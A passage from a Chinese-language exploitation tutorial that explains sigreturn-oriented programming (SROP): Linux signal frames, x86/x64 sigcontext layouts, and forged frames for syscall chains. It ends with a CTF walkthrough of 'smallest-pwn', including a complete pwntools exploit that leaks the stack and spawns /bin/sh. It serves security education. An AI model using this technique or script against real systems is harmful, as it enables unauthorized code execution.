  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址。此时栈的结构如下图所示,我们称ucontext以及siginfo这一段为Signal Frame。**需要注意的是,这一部分是在用户进程的地址空间的。**之后会跳转到注册过的signal handler中处理相应的signal。因此,当signal handler执行完之后,就会执行sigreturn代码。

signal2-stack

对于signal Frame来说,会因为架构的不同而有所区别,这里给出分别给出x86以及x64的sigcontext

-   x86

```c
struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};
```

-   x64

```c
struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t		cwd;
  __uint16_t		swd;
  __uint16_t		ftw;
  __uint16_t		fop;
  __uint64_t		rip;
  __uint64_t		rdp;
  __uint32_t		mxcsr;
  __uint32_t		mxcr_mask;
  struct _fpxreg	_st[8];
  struct _xmmreg	_xmm[16];
  __uint32_t		padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};
```
  1. signal handler返回后,内核为执行sigreturn系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新pop回对应的寄存器,最后恢复进程的执行。其中,32位的sigreturn的调用号为77,64位的系统调用号为15。

攻击原理

仔细回顾一下内核在signal信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在Signal Frame中。但是需要注意的是:

  • Signal Frame被保存在用户的地址空间中,所以用户是可以读写的。
  • 由于内核与信号处理程序无关(kernel agnostic about signal handlers),它并不会去记录这个signal对应的Signal Frame,所以当执行sigreturn系统调用时,此时的Signal Frame并不一定是之前内核为用户进程保存的Signal Frame。

说到这里,其实,SROP的基本利用原理也就出现了。下面举两个简单的例子。

获取shell

首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示,这里以64位为例子,给出Signal Frame更加详细的信息

srop-example-1

当系统执行完sigreturn系统调用之后,会执行一系列的pop指令以便于恢复相应寄存器的值,当执行到rip时,就会将程序执行流指向syscall地址,根据相应寄存器的值,此时,便会得到一个shell。

system call chains

需要指出的是,上面的例子中,我们只是单独的获得一个shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可

  • 控制栈指针。
  • 把原来rip指向的syscall gadget换成syscall; ret gadget。

如下图所示 ,这样当每次syscall返回的时候,栈指针都会指向下一个Signal Frame。因此就可以执行一系列的sigreturn函数调用。

srop-example-2

后续

需要注意的是,我们在构造ROP攻击的时候,需要满足下面的条件

  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的地址
    • “/bin/sh”
    • Signal Frame
    • syscall
    • sigreturn
  • 需要有够大的空间来塞下整个sigal frame

此外,关于sigreturn以及syscall;ret这两个gadget在上面并没有提及。提出该攻击的论文作者发现了这些gadgets出现的某些地址:

srop-gadget-1

并且,作者发现,有些系统上SROP的地址被随机化了,而有些则没有。比如说Linux < 3.3 x86_64(在Debian 7.0, Ubuntu Long Term Support, CentOS 6系统中默认内核),可以直接在vsyscall中的固定地址处找到syscall&return代码片段。如下

srop-gadget-2

但是目前它已经被vsyscall-emulatevdso机制代替了。此外,目前大多数系统都会开启ASLR保护,所以相对来说这些gadgets都并不容易找到。

值得一说的是,对于sigreturn系统调用来说,在64位系统中,sigreturn系统调用对应的系统调用号为15,只需要RAX=15,并且执行syscall即可实现调用syscall调用。而RAX寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说read函数的返回值为读取的字节数。

利用工具

值得一提的是,在目前的pwntools中已经集成了对于srop的攻击。

示例

这里以360春秋杯中的smallest-pwn为例进行简单介绍。基本步骤如下

确定文件基本信息

➜  smallest file smallest
smallest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

可以看到该程序为64位静态链接版本。

检查保护

➜  smallest checksec smallest
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序主要开启了NX保护。

漏洞发现

实用IDA直接反编译看了一下,发现程序就几行汇编代码,如下

public start
start proc near
xor     rax, rax
mov     edx, 400h
mov     rsi, rsp
mov     rdi, rax
syscall
retn
start endp

根据syscall的编号为0,可以知道该程序执行的指令为read(0,$rsp,400),即向栈顶读入400个字符。毫无疑问,这个是有栈溢出的。

利用思路

由于程序中并没有sigreturn调用,所以我们得自己构造,正好这里有read函数调用,所以我们可以通过read函数读取的字节数来设置rax的值。重要思路如下

  • 通过控制read读取的字符数来设置RAX寄存器的值,从而执行sigreturn
  • 通过syscall执行execve(“/bin/sh”,0,0)来获取shell。

漏洞利用程序

from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
    sh = remote('127.0.0.1', 7777)
else:
    sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)

## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

其基本流程为

  • 读取三个程序起始地址
  • 程序返回时,利用第一个程序起始地址读取地址,修改返回地址(即第二个程序起始地址)为源程序的第二条指令,并且会设置rax=1
  • 那么此时将会执行write(1,$esp,0x400),泄露栈地址。
  • 利用第三个程序起始地址进而读入payload
  • 再次读取构造sigreturn调用,进而将向栈地址所在位置读入数据,构造execve(‘/bin/sh’,0,0)
  • 再次读取构造sigreturn调用,从而获取shell。